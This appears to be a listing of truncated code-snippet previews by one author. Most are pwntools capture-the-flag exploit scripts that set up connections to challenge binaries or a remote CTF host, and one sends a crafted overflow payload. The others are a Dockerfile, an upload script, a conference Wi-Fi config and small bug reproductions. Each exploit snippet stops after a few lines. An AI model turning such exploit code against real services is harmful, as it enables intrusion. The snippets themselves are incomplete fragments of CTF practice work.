kokjo

from pwn import *


def pwnit():
    #h, w = (1024, 1024)
    w, h = (1024, 1024)

    #r.sendline(" "+"0"*4096 + "1 , 0 , A")
    #r.recvuntil("> ")

kokjo

from pwn import *
context.arch = "amd64"

r = process("./Random_Generator_8c110de2ce4abb0f909bca289fb7b1a99fd18ef1")
#r = remote("69.90.132.40", 4000)

values = [0]

for i in range(1,8):
    r.sendline(str(i))

kokjo

from pwn import *

s = log.waitfor("Calculating CRC reverse lookup table")
reverse_crc = {crc.crc_32(p16(i)): p16(i) for i in range(2**16)}
s.success()

e = ELF("./crcme_8416479dcf3a74133080df4f454cd0f76ec9cc8d")
r = process("./crcme_8416479dcf3a74133080df4f454cd0f76ec9cc8d")

@MemLeak

kokjo

FROM fedora
RUN dnf -y install glibc.i686 openssl-libs.i686 protobuf-devel.i686 protobuf-lite.i686 protobuf.i686
RUN dnf -y install git scons
RUN dnf -y install gcc
RUN dnf -y install glibc-devel.i686 libgcc.i686 libstdc++-devel.i686
RUN dnf -y install strace
RUN dnf -y install gcc-c++
RUN dnf -y install glibc-devel.x86_64 libgcc.x86_64 libstdc++-devel.x86_64

RUN git clone https://github.com/tsyrogit/zxcvbn-c.git

kokjo

import letsenchiffre_pb2 as letsenchiffre
from pwn import *

def forge_request(password):
    crtreq = letsenchiffre.CertificateRequest()
    crtreq.Locality = "A"
    crtreq.State = "A"
    crtreq.City = "A"
    crtreq.Company = "A"
    crtreq.CommonName = "A"

kokjo

#!/bin/sh
WEBROOT="/path/to/web/root/on/server"
HOST="put.hostname.here"

scp "$1" "${USER}@${HOST}:${WEBROOT}$(basename "$1")"
echo "http://${HOST}/$(basename $1)"
sha256sum $1

kokjo

ccc:
  ssid: 33C3
  dns: dhcp
  wpa: |
    network={
      ssid="33C3"
      key_mgmt=WPA-EAP
      eap=TTLS
      identity="edward"
      password="snowden"

kokjo

module Bug where

import Control.Monad
import Control.Monad.State (gets)
import Control.Monad.Trans.Class (lift)

foo = lift lift gets

{-
$ ghc bug.hs 

kokjo

#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {

kokjo

from pwn import *
context(arch="amd64")

e = ELF("./butterfly_33e86bcc2f0a21d57970dc6907867bed")
r = remote("butterfly.pwning.xxx", 9999)
#r = process("./butterfly_33e86bcc2f0a21d57970dc6907867bed")

addr = 0x400860+3
num = (addr << 3) + 6
r.sendline(str(num).ljust(40)+p64(e.symbols["main"]))